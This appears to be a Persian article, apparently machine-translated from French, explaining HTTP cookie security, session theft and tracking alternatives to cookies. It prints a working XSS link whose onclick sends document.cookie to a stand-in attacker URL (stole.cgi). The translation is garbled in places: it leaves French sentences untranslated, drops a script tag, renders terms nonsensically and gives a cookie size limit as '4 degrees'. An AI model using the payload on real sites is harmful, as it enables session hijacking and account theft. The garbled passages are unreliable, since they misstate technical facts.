با رمزگذاری ارتباط بین کامپیوتر کاربر و سرور با استفاده از پروتکل HTTPS می توان بر این مشکل غلبه کرد. یک سرور می تواند a را مشخص کند پرچم امن هنگام تنظیم یک کوکی؛ مرورگر آن را فقط از طریق یک خط امن مانند اتصال SSL ارسال می کند.
با این حال، بسیاری از سایتها، اگرچه از ارتباطات رمزگذاریشده HTTPS برای احراز هویت کاربر (یعنی صفحه ورود) استفاده میکنند، بعداً کوکیهای جلسه و سایر دادهها را طبق معمول از طریق اتصالات HTTP رمزگذاری نشده به دلایل کارآمدی ارسال میکنند. بنابراین مهاجمان میتوانند کوکیهای دیگر کاربران را رهگیری کرده و آنها را در سایتهای مناسب جعل کنند یا از آنها در حملات کوکی استفاده کنند.
اسکریپت در سایت: یک کوکی که فقط باید بین سرور و مشتری مبادله شود به شخص ثالث دیگری ارسال می شود.
راه دیگر برای سرقت کوکی ها این است که سایت ها را اسکریپت کنید و از خود مرورگر بخواهید کوکی ها را به سرورهای مخرب ارسال کند که هرگز آنها را دریافت نمی کنند. مرورگرهای مدرن امکان اجرای بخش های مورد نظر کد را از سرور فراهم می کنند. اگر در طول زمان اجرا به کوکی ها دسترسی پیدا کرد، ممکن است مقادیر آنها به شکلی به سرورهایی که نباید به آنها دسترسی داشته باشند، منتقل می شود. رمزگذاری کوکی ها قبل از ارسال آنها از طریق شبکه کمکی به خنثی کردن حمله نمی کند.
این نوع اسکریپت نویسی درون سایت معمولاً توسط مهاجمان در سایت هایی استفاده می شود که به کاربران امکان ارسال محتوای HTML را می دهد. با ادغام بخشی از کد سازگار در مشارکت HTML، مهاجم می تواند کوکی ها را از سایر کاربران دریافت کند. دانش این کوکی ها را می توان با اتصال به همان سایت با استفاده از کوکی های دزدیده شده مورد استفاده قرار داد، بنابراین به عنوان کاربری که کوکی های او به سرقت رفته است شناخته می شود.
یکی از راه های جلوگیری از چنین حملاتی استفاده از پرچم HttpOnly است. این گزینه ای است که از نسخه 6 اینترنت اکسپلورر در PHP از نسخه 5.2.0 ارائه شده است که برنامه ریزی شده است تا کوکی را برای کلاینت نزدیک به اسکریپت غیر قابل دسترس کند. با این حال، توسعه دهندگان وب باید این را در توسعه سایت خود در نظر بگیرند تا از اسکریپت نویسی در سایت مصون باشند.
یکی دیگر از تهدیدات امنیتی مورد استفاده، ساخت تقاضا در سایت است.
مشخصات فنی رسمی اجازه میدهد تا کوکیها فقط به سرورهای دامنهای که از آن منشا گرفتهاند بازگردانده شوند. با این حال، ارزش کوکیها را میتوان با استفاده از ابزارهایی غیر از هدر کوکیها به سرورهای دیگر ارسال کرد.
به طور خاص، زبان های برنامه نویسی مانند جاوا اسکریپت به طور کلی مجاز به دسترسی به مقادیر کوکی هستند و قادر به ارسال مقادیر دلخواه به هر سروری در اینترنت هستند. این قابلیت اسکریپت نویسی از وب سایت هایی استفاده می شود که به کاربران اجازه می دهد محتوای HTML را برای مشاهده سایر کاربران ارسال کنند.
به عنوان مثال، مهاجمی که در دامنه example.com فعالیت میکند ممکن است نظری حاوی پیوند زیر ارسال کند که به یک وبلاگ محبوب اشاره میکند که در غیر این صورت کنترلش نمیکند:
<a href="#" onclick="window.location = 'http://exemple.com/stole.cgi?text=' + escape(document.cookie); return false;">Cliquez ici !</a>
وقتی کاربر دیگری روی این پیوند کلیک می کند، مرورگر قسمت ویژگی onclick کد را اجرا می کند، بنابراین رشته document.cookie را با لیست کوکی های کاربر فعال برای این صفحه جایگزین می کند. بنابراین، این لیست از کوکی ها به سرور example.com ارسال می شود و بنابراین مهاجم می تواند کوکی های این کاربر را جمع آوری کند.
تشخیص این نوع حمله در سمت کاربر دشوار است زیرا اسکریپت از همان دامنه ای می آید که کوکی را تنظیم کرده است و به نظر می رسد عملیات ارسال مقادیر توسط آن دامنه مجاز است. در نظر گرفته شده است که ایجاد محدودیت هایی برای جلوگیری از انتشار کدهای مخرب بر عهده مدیران عامل این نوع سایت است.
اگر کوکیها با پرچم HttpOnly ارسال شده باشند، مستقیماً برای برنامههای سمت سرویس گیرنده مانند جاوا اسکریپت قابل مشاهده نیستند. از نظر سرور، تنها تفاوت این است که در خط هدر Set-Cookie یک فیلد جدید حاوی رشته HttpOnly اضافه شده است:
Set-Cookie: RMID=732423sdfs73242; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/; domain=.exemple.net; HttpOnly
هنگامی که مرورگر چنین کوکی را دریافت می کند، قرار است از آن به طور معمول در تبادل HTTP زیر استفاده کند، اما بدون اینکه آن را برای اسکریپت های اجرا شده در سمت مشتری قابل مشاهده باشد. پرچم HttpOnly بخشی از هیچ مشخصات فنی رسمی نیست و در همه مرورگرها اجرا نمی شود. توجه داشته باشید که در حال حاضر هیچ راهی برای جلوگیری از خواندن و نوشتن کوکیهای جلسه با روش XMLHTTPRequest وجود ندارد.
اصلاح محتوا: مهاجم یک کوکی نامعتبر را به یک سرور ارسال می کند که احتمالاً از یک کوکی معتبر ارسال شده توسط سرور ساخته شده است.
در حال تغییر کوکی ها
به محض اینکه کوکیها باید ذخیره شوند و بدون تغییر به سرور بازگردانده شوند، مهاجم میتواند مقدار کوکیها را قبل از ارسال مجدد به سرور تغییر دهد. به عنوان مثال، اگر یک کوکی حاوی کل ارزشی باشد که کاربر باید برای اقلام قرار داده شده در سبد خرید فروشگاه بپردازد، تغییر این مقدار سرور را در معرض خطر دریافت هزینه کمتر از قیمت اولیه از مهاجم قرار می دهد. فرآیند تغییر مقدار کوکی ها نامیده می شود مسمومیت با کلوچه و می توان پس از سرقت کوکی برای تداوم حمله استفاده کرد.
در روش لغو کوکی، مهاجم از یک نقص مرورگر برای ارسال یک کوکی نامعتبر به سرور سوء استفاده می کند.
با این حال، اکثر وبسایتها فقط یک شناسه جلسه - یک شماره منحصربهفرد تولید شده بهطور تصادفی که برای شناسایی کاربر جلسه استفاده میشود - در خود کوکی ذخیره میکنند، در حالی که تمام اطلاعات دیگر در سرور ذخیره میشوند. در این صورت این مشکل تا حد زیادی حل می شود.
مدیریت کوکی بین وب سایت ها
انتظار می رود هر سایتی کوکی های خاص خود را داشته باشد، بنابراین یک سایت نباید قادر به تغییر یا ایجاد کوکی های مرتبط با سایت دیگر باشد. نقص امنیتی مرورگر وب می تواند به سایت های مخرب اجازه دهد تا این قانون را زیر پا بگذارند. معمولاً به بهره برداری از چنین نقصی گفته می شود آشپزی بین سایتی. هدف از چنین حملاتی ممکن است سرقت شناسه جلسه باشد.
کاربران باید از آخرین نسخههای مرورگرهای وب استفاده کنند که در آنها این آسیبپذیریها عملاً از بین رفته است.
وضعیت متناقض بین مشتری و سرور
استفاده از کوکی ها ممکن است تضاد بین وضعیت مشتری و وضعیت ذخیره شده در کوکی ایجاد کند. اگر کاربر یک کوکی دریافت کند و روی دکمه "بازگشت" مرورگر کلیک کند، وضعیت مرورگر به طور کلی مانند قبل از این خرید نیست. به عنوان مثال، اگر سبد یک فروشگاه آنلاین با استفاده از کوکی ها ایجاد شود، محتویات سبد نمی تواند با بازگشت کاربر به سابقه مرورگر تغییر کند: اگر کاربر دکمه ای را برای افزودن یک مقاله در سبد خرید خود فشار دهد و روی "بازگشت" کلیک کند. دکمه "، مقاله در این یکی باقی می ماند. ممکن است منظور کاربر این نباشد که مطمئناً میخواهد اضافه شدن مقاله را لغو کند. این می تواند منجر به عدم اطمینان، سردرگمی و اشکالات شود. بنابراین توسعه دهندگان وب باید از این مشکل آگاه باشند و اقداماتی را برای مدیریت چنین موقعیت هایی انجام دهند.
انقضای کوکی
کوکیهای دائمی توسط کارشناسان امنیت حریم خصوصی مورد انتقاد قرار گرفتهاند زیرا به زودی منقضی نمیشوند، بنابراین به وبسایتها اجازه میدهند تا کاربران را ردیابی کنند و نمایه آنها را در طول زمان بسازند. این جنبه از کوکی ها نیز بخشی از مشکل ربودن جلسه است، زیرا یک کوکی دائمی سرقت شده می تواند برای جعل هویت کاربر برای مدت زمان قابل توجهی استفاده شود.
همچنین بخوانید: گافام: آنها چه کسانی هستند؟ چرا آنها (گاهی) اینقدر ترسناک هستند؟
جایگزین های کوکی ها
برخی از عملیاتی که میتوان با استفاده از کوکیها انجام داد، میتواند با استفاده از مکانیسمهای دیگری نیز انجام شود که کوکیها را دور میزند یا کوکیهای حذف شده را دوباره ایجاد میکنند، که به همان شیوه (یا گاهی اوقات بدتر از کوکیها به دلیل نامرئی بودن) مشکلات حریم خصوصی ایجاد میکند.
آدرس آی پی
کاربران را می توان با آدرس IP رایانه ای که با صفحه تماس می گیرد ردیابی کرد. این تکنیک از زمان معرفی شبکه جهانی وب در دسترس بوده است، زیرا صفحات دانلود میشوند، سرور آدرس IP رایانهای را که مرورگر یا پروکسی را اجرا میکند، درخواست میکند، در صورتی که از هیچ کدام استفاده نشود. سرور میتواند این اطلاعات را ردیابی کند، چه کوکیها در حال استفاده باشند یا نه. با این حال، این آدرسها معمولاً نسبت به کوکیها در شناسایی کاربر کمتر قابل اعتماد هستند، زیرا رایانهها و پراکسیها ممکن است توسط چندین کاربر به اشتراک گذاشته شوند و همان رایانه ممکن است آدرس IP متفاوتی را در هر جلسه کاری دریافت کند (مانند c اغلب برای اتصالات تلفنی) .
ردیابی توسط آدرس های IP می تواند در برخی شرایط قابل اعتماد باشد، مانند اتصالات باند پهن که آدرس IP یکسان را برای مدت طولانی حفظ می کنند، تا زمانی که برق روشن است.
برخی از سیستمها مانند Tor برای حفظ ناشناس بودن اینترنت طراحی شدهاند و ردیابی با آدرس IP را غیرممکن یا غیرعملی میسازند.
URL
یک تکنیک دقیق تر مبتنی بر جاسازی اطلاعات در URL ها است. بخش رشته پرس و جو از URL یکی از تکنیک هایی است که معمولاً برای این منظور استفاده می شود، اما از بخش های دیگر نیز می توان استفاده کرد. در صورت فعال نبودن کوکیها، هر دو سرور جاوا و مکانیسمهای جلسه PHP از این روش استفاده میکنند.
این روش شامل این است که سرور وب درخواستهای رشتهای را به پیوندهای صفحه وب اضافه میکند که هنگام ارسال به مرورگر آن را حمل میکند. هنگامی که کاربر پیوندی را دنبال می کند، مرورگر رشته پرس و جو پیوست شده را به سرور برمی گرداند.
رشته های پرس و جو که برای این منظور استفاده می شوند و کوکی ها بسیار مشابه هستند، هر دو اطلاعاتی هستند که به طور دلخواه توسط سرور انتخاب شده و توسط مرورگر بازگردانده می شوند. با این حال، برخی از تفاوت ها وجود دارد: هنگامی که یک URL حاوی یک رشته پرس و جو دوباره استفاده می شود، همان اطلاعات به سرور ارسال می شود. به عنوان مثال، اگر تنظیمات برگزیده یک کاربر در یک رشته پرس و جو از یک URL کدگذاری شود و کاربر آن URL را از طریق ایمیل برای کاربر دیگری ارسال کند، آن کاربر نیز میتواند از آن تنظیمات برگزیده استفاده کند.
از سوی دیگر، زمانی که کاربر دو بار به یک صفحه دسترسی پیدا می کند، هیچ تضمینی وجود ندارد که هر دو بار از همان رشته پرس و جو استفاده شود. به عنوان مثال، اگر کاربر بار اول در صفحه ای از یک صفحه داخلی سایت قرار گیرد و بار دوم در همان صفحه از یک صفحه خارجی قرار گیرد، رشته پرس و جو نسبت به صفحه سایت معمولاً متفاوت است، در حالی که کوکی ها یکسان هستند. .
سایر معایب رشته های پرس و جو به امنیت مربوط می شود: نگهداری داده هایی که یک جلسه را در رشته های پرس و جو شناسایی می کند، حملات تثبیت جلسه، حملات مرجع شناسه و سایر سوء استفاده ها را فعال یا ساده می کند. انتقال شناسه جلسه به عنوان کوکی HTTP ایمن تر است.
فیلد فرم پنهان
یکی از اشکال ردیابی جلسه که توسط ASP.NET استفاده می شود، استفاده از فرم های وب با فیلدهای مخفی است. این تکنیک بسیار شبیه به استفاده از رشته های جستجوی URL برای حمل اطلاعات است و دارای همان مزایا و معایب است. و اگر فرم با روش HTTP GET پردازش شود، فیلدها در واقع بخشی از URL مرورگر می شوند که هنگام ارسال فرم، آن را ارسال می کند. اما بیشتر فرمها با HTTP POST پردازش میشوند، که باعث میشود اطلاعات فرم، از جمله فیلدهای پنهان، به عنوان ورودی اضافی که نه بخشی از URL و نه یک کوکی است، اضافه شود.
این رویکرد از منظر ردیابی دو مزیت دارد: اول، ردیابی اطلاعات قرار داده شده در کد منبع HTML و ورودی POST به جای URL به کاربر عادی اجازه می دهد از این ردیابی اجتناب کند. دوم، زمانی که کاربر URL را کپی می کند، اطلاعات جلسه کپی نمی شود (مثلاً برای ذخیره صفحه در دیسک یا ارسال آن از طریق ایمیل).
window.name
همه مرورگرهای وب معمولی می توانند مقدار بسیار زیادی داده (2 مگابایت تا 32 مگابایت) را از طریق جاوا اسکریپت با استفاده از ویژگی window.name DOM ذخیره کنند. این داده ها را می توان به جای کوکی های جلسه استفاده کرد و همچنین در دامنه ها استفاده می شود. این تکنیک را می توان با اشیاء JSON برای ذخیره مجموعه پیچیده ای از متغیرهای جلسه سمت مشتری همراه کرد.
نکته منفی این است که هر پنجره یا تب جداگانه در ابتدا یک window.name خالی خواهد داشت. هنگام مرور بر اساس برگه ها (باز شده توسط کاربر) به این معنی است که برگه هایی که به صورت جداگانه باز می شوند نام پنجره ای ندارند. علاوه بر این، window.name میتواند برای ردیابی بازدیدکنندگان در سایتهای مختلف استفاده شود که میتواند باعث نگرانی حریم خصوصی شود.
از برخی جهات، به دلیل دخالت نکردن سرور، این می تواند از کوکی ها ایمن تر باشد، بنابراین آن را در برابر حمله شبکه کوکی های اسنیفر آسیب ناپذیر می کند. با این حال، اگر اقدامات خاصی برای محافظت از داده ها انجام شود، در برابر حملات بیشتر آسیب پذیر است، زیرا داده ها از طریق سایت های دیگر باز شده در همان پنجره در دسترس هستند.
احراز هویت HTTP
پروتکل HTTP شامل پروتکل های احراز هویت اولیه دسترسی و خلاصه احراز هویت دسترسی است که تنها زمانی به یک صفحه وب اجازه دسترسی را می دهد که کاربر نام کاربری و رمز عبور را داده باشد. اگر سرور برای اعطای دسترسی به یک صفحه وب درخواست گواهی کند، مرورگر آن را از کاربر درخواست می کند و پس از دریافت، مرورگر آن را ذخیره می کند و در تمام درخواست های HTTP بعدی ارسال می کند. از این اطلاعات می توان برای ردیابی کاربر استفاده کرد.
شی مشترک محلی
اگر مرورگر دارای افزونه Adobe Flash Player باشد، اشیاء مشترک محلی می توان برای همان هدفی که کوکی ها استفاده کرد. آنها می توانند انتخاب جذابی برای توسعه دهندگان وب باشند زیرا:
- حد پیشفرض اندازه برای یک شی مشترک محلی 100 کیلوبایت است.
- بررسیهای امنیتی جدا از بررسیهای کوکی کاربر هستند (بنابراین وقتی کوکیها وجود ندارند، میتوان به اشیاء مشترک محلی اجازه داد).
این آخرین نکته، که سیاست مدیریت کوکی ها را از اشیاء مشترک محلی Adobe متمایز می کند سوالاتی را مطرح می کند در مورد مدیریت تنظیمات حریم خصوصی توسط کاربر: او باید بداند که مدیریت کوکیها هیچ تأثیری بر مدیریت اشیاء مشترک محلی ندارد و بالعکس.
انتقاد دیگر به این سیستم این است که فقط از طریق پلاگین Adobe Flash Player که اختصاصی است و استاندارد وب نیست، قابل استفاده است.
پایداری سمت مشتری
برخی از مرورگرهای وب از مکانیزم پایداری مبتنی بر اسکریپت پشتیبانی میکنند که به صفحه اجازه میدهد اطلاعات را به صورت محلی برای استفاده بعدی ذخیره کند. به عنوان مثال، اینترنت اکسپلورر از اطلاعات پایدار در تاریخچه مرورگر، نشانک ها، در قالبی که در XML ذخیره شده است یا مستقیماً با یک صفحه وب ذخیره شده در دیسک پشتیبانی می کند. برای Microsoft Internet Explorer 5، یک روش داده کاربر از طریق رفتارهای DHTML وجود دارد.
W3C در HTML 5 یک JavaScript API جدید برای ذخیره سازی داده های سمت سرویس گیرنده به نام ذخیره سازی وب معرفی کرد و هدف آن جایگزینی دائمی کوکی ها بود. این شبیه به کوکی ها است اما با ظرفیت بسیار بهبود یافته و بدون ذخیره اطلاعات در هدر درخواست های HTTP. API دو نوع ذخیرهسازی وب را امکانپذیر میکند: ذخیرهسازی محلی و ذخیرهسازی جلسه، مشابه کوکیهای دائمی و کوکیهای جلسه (به استثنای این که کوکیهای جلسه زمانی که مرورگر بسته میشود منقضی میشوند. محل ذخیره جلسه به ترتیب با بسته شدن برگه منقضی می شود. ذخیره سازی وب توسط Mozilla Firefox 3.5، Google Chrome 5، Apple Safari 4، Microsoft Internet Explorer 8 و Opera 10.50 پشتیبانی می شود.
یک مکانیسم متفاوت معمولاً بر روی کش مرورگر (در حافظه به جای تازه کردن) با استفاده از برنامه های جاوا اسکریپت در صفحات وب متکی است.
به عنوان مثال، یک صفحه می تواند حاوی برچسب باشد . La première fois que la page se charge, le programme exemple.js est aussi chargé.
در این مرحله، برنامه در حافظه کش باقی می ماند و صفحه بازدید شده برای بار دوم بارگذاری مجدد نمی شود. در نتیجه، اگر برنامه حاوی یک متغیر سراسری باشد (به عنوان مثال var id = 3243242؛)، این شناسه معتبر باقی میماند و میتواند توسط کدهای جاوا اسکریپت دیگر پس از بارگیری مجدد صفحه، یا زمانی که صفحهای که برنامه را پیوند میدهد، مورد سوء استفاده قرار گیرد.
عیب اصلی این روش این است که متغیر جهانی جاوا اسکریپت باید ثابت باشد، به این معنی که نمی توان آن را مانند یک کوکی تغییر داد یا حذف کرد.
اثر انگشت مرورگر وب
اثر انگشت مرورگر اطلاعاتی است که در مورد تنظیمات پیکربندی یک مرورگر برای اهداف شناسایی جمع آوری می شود. این اثر انگشت را می توان برای شناسایی کامل یا جزئی یک کاربر اینترنت یا یک دستگاه حتی زمانی که کوکی ها غیرفعال هستند استفاده کرد.
اطلاعات اولیه پیکربندی مرورگر وب مدتهاست که توسط سرویسهای مخاطب وبسایت به منظور اندازهگیری دقیق ترافیک وب انسانی و شناسایی اشکال مختلف تقلب کلیک جمعآوری شده است. با کمک زبان های برنامه نویسی سمت مشتری، جمع آوری اطلاعات بسیار دقیق تر است اکنون ممکن است.
با تبدیل این اطلاعات به یک رشته بیت، اثر انگشت دستگاه تولید می شود. در سال 2010، Electronic Frontier Foundation (EFF) آنتروپی اثر انگشت مرورگر را حداقل اندازه گیری کرد. بیت 18,1و این قبل از پیشرفت در اثر انگشت بوم بود که 5,7 بیت به آن آنتروپی اضافه کرد.
کوکی ها به طور خلاصه
کوکیها فایلهای متنی کوچکی هستند که توسط مرورگر وب روی هارد دیسک بازدیدکنندگان وبسایت ذخیره میشوند و (از جمله موارد دیگر) برای ضبط اطلاعات مربوط به بازدیدکننده یا سفر آنها در سایت استفاده میشوند. بنابراین مدیر وب سایت می تواند عادات یک بازدید کننده را تشخیص دهد و ارائه سایت خود را برای هر بازدید کننده شخصی کند. پس از آن کوکی ها به خاطر سپردن تعداد مقاله برای نمایش در صفحه اصلی یا حتی حفظ اعتبار ورود برای هر مهمانی خصوصی امکان پذیر می شوند: هنگامی که بازدید کننده به سایت باز می گردد، دیگر لازم نیست نام و رمز عبور خود را تایپ کند. شناسایی شوند، زیرا به طور خودکار در کوکی خوانده می شوند.
یک کوکی طول عمر محدودی دارد که توسط طراح سایت تنظیم شده است. آنها همچنین می توانند در پایان جلسه در سایت منقضی شوند که مربوط به بسته شدن مرورگر است. کوکی ها به طور گسترده ای برای آسان کردن زندگی برای بازدیدکنندگان و ارائه اطلاعات مرتبط بیشتر به آنها استفاده می شود. اما تکنیکهای خاص این امکان را فراهم میکند که یک بازدیدکننده را در چندین سایت دنبال کنید و در نتیجه اطلاعات بسیار گستردهای در مورد عادتهای او جمعآوری و بررسی کنید. این روش به استفاده از کوکی ها به عنوان یک تکنیک نظارتی که حریم خصوصی بازدیدکنندگان را نقض می کند شهرت داده است که متاسفانه در بسیاری از موارد استفاده به دلایل غیر فنی یا عدم رعایت انتظارات کاربر با واقعیت مطابقت دارد.
در پاسخ به این ترسهای مشروع، HTML 5 یک API جاوا اسکریپت جدید برای ذخیرهسازی دادههای سمت سرویس گیرنده به نام ذخیرهسازی وب معرفی میکند که بسیار امنتر و با ظرفیت بیشتر است و هدف آن جایگزینی کوکیها است.
ذخیره سازی کوکی ها
با برخی از مرورگرها، یک کوکی به راحتی قابل ویرایش است، یک ویرایشگر متن ساده مانند Notepad برای تغییر مقادیر آن به صورت دستی کافی است.
بسته به مرورگر، کوکی ها به طور متفاوتی ذخیره می شوند:
- مایکروسافت اینترنت اکسپلورر هر کوکی را در یک فایل متفاوت ذخیره می کند.
- موزیلا فایرفاکس تمام کوکی های خود را در یک فایل ذخیره می کند.
- اپرا تمام کوکی های خود را در یک فایل ذخیره می کند و آنها را رمزگذاری می کند (تغییر آنها به جز در گزینه های نرم افزار غیر ممکن است).
- اپل سافاری تمام کوکی های خود را در یک فایل پسوند plist ذخیره می کند. اصلاح ممکن است اما خیلی آسان نیست، مگر اینکه از گزینه های نرم افزار عبور کنید.
مرورگرها برای پشتیبانی لازم هستند حداقل :
- 300 کوکی همزمان؛
- 4 درجه به ازای هر کوکی؛
- 20 کوکی در هر میزبان یا دامنه.